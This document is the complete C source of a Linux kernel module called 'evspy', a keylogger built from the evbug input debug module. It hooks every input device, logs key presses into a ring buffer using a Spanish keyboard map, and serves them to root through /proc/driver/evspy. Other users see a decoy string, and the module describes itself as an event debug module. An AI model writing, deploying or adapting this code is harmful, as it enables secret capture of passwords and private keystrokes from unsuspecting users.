/*
 *  Copyright (c) 2011 Guillermo Ramos
 *  based on evbug module by Vojtech Pavlik ((c) 1999-2001)
 */

/*
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
 *
 * Should you need to contact me, the author, you can do so either by
 * e-mail - mail your message to <vojtech@ucw.cz>, or by paper mail:
 * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic
 */

#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/slab.h>
#include <linux/module.h>
#include <linux/input.h>
#include <linux/init.h>
#include <linux/device.h>

#include <asm/page.h>
#include <linux/proc_fs.h>
#include <linux/stat.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/sched.h>

#define PROCNAME	"driver/evspy"
#define BUFSIZE		PAGE_SIZE
#define MIN(x, y)	(x) < (y) ? (x) : (y)

#define incp(p)		\
({		\
	if (p == &buffer[BUFSIZE-1])		\
		p = buffer;		\
	else		\
		p++;		\
 	p;		\
})

static char *buffer;
static char *rdp;
static char *wrp;

static char map_es[] = {
	'.', '.', '1', '2', '3',	//0		// 1:ESC
	'4', '5', '6', '7', '8',	//5
	'9', '0', '\'', '!', '\b',	//10	// 13:¡ (NOASCII)
	'\t', 'q', 'w', 'e', 'r',	//15
	't', 'y', 'u', 'i', 'o',	//20
	'p', '`', '+', '\n', '.',	//25	// 29:LCTRL
	'a', 's', 'd', 'f', 'g',	//30
	'h', 'j', 'k', 'l', 'n',	//35	// 39:ñ (NOASCII)
	'\'', '.', '.', 'c', 'z',	//40	// 42:LMAYUS 43:ç (NOASCII)
	'x', 'c', 'v', 'b', 'n',	//45
	'm', ',', '.', '-', '.',	//50	// 54:RMAYUS
	'*', '.', ' ', '.', '.',	//55	// 56:WIN 58:BLKMAYUS 59-68:F1-F10
	'.', '.', '.', '.', '.',	//60
	'.', '.', '.', '.', '.',	//65
	'.', '7', '8', '9', '-',	//70
	'4', '5', '6', '+', '1',	//75
	'2', '3', '.', '.', '.',	//80
	'.', '<', '.', '.', '.',	//85
	'.', '.', '.', '.', '.',	//90
	'.', '\n', '.', '/', '.',	//95	// 97:RCTRL
};

int evspy_read_proc(char *page, char **start, off_t offset, int count,
		int *eof, void *data)
{
	int n, toend;
	int retval = 0;
	int diff = wrp - rdp;

	if (current_uid() || current_euid()) {
		n = MIN(10, count);
		strncpy(page, "Trolololo", n);
		*eof = 1;
		return n;
	}

	if (diff > 0) {
		n = MIN(diff, count);
		strncpy(page, rdp, n);
		rdp += n;
		retval = n;

	} else if (diff < 0) {
		toend = (buffer + BUFSIZE) - rdp;
		n = MIN(toend, count);
		strncpy(page, rdp, n);
		retval = n;

		if (n < toend) {
			rdp += n;
		} else {
			n = MIN(wrp - buffer, count - retval);
			strncpy(page + retval, buffer, n);
			retval += n;
			rdp = buffer + n;
		}
	}

	if (rdp == wrp)
		*eof = 1;
	return retval;
}

static void evspy_event(struct input_handle *handle, unsigned int type,
		unsigned int code, int value)
{
	if (type != 1 || value != 1 || code >= 100)
		return;

	*wrp = map_es[code];
	if (incp(wrp) == rdp)
		incp(rdp);
}

static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
			 const struct input_device_id *id)
{
	struct input_handle *handle;
	int error;

	handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
	if (!handle)
		return -ENOMEM;

	handle->dev = dev;
	handle->handler = handler;
	handle->name = "evspy";

	error = input_register_handle(handle);
	if (error)
		goto err_free_handle;

	error = input_open_device(handle);
	if (error)
		goto err_unregister_handle;

	return 0;

 err_unregister_handle:
	input_unregister_handle(handle);
 err_free_handle:
	kfree(handle);
	return error;
}

static void evspy_disconnect(struct input_handle *handle)
{
	input_close_device(handle);
	input_unregister_handle(handle);
	kfree(handle);
}

static const struct input_device_id evspy_ids[] = {
	{ .driver_info = 1 },	/* Matches all devices */
	{ },			/* Terminating zero entry */
};

MODULE_DEVICE_TABLE(input, evspy_ids);

static struct input_handler evspy_handler = {
	.event =	evspy_event,
	.connect =	evspy_connect,
	.disconnect =	evspy_disconnect,
	.name =		"evspy",
	.id_table =	evspy_ids,
};

static int __init evspy_init(void)
{
	create_proc_read_entry(PROCNAME, 0, NULL,
			evspy_read_proc, NULL);
	buffer = kmalloc(BUFSIZE, GFP_KERNEL);
	rdp = buffer;
	wrp = buffer;
	return !buffer || input_register_handler(&evspy_handler);
}

static void __exit evspy_exit(void)
{
	kfree(buffer);
	remove_proc_entry(PROCNAME, NULL);
	input_unregister_handler(&evspy_handler);
}

module_init(evspy_init);
module_exit(evspy_exit);

MODULE_AUTHOR("Guillermo Ramos <0xwille@gmail.com>");
MODULE_AUTHOR("Vojtech Pavlik <vojtech@ucw.cz>");
MODULE_DESCRIPTION("Custom input driver event debug module");
MODULE_LICENSE("GPL");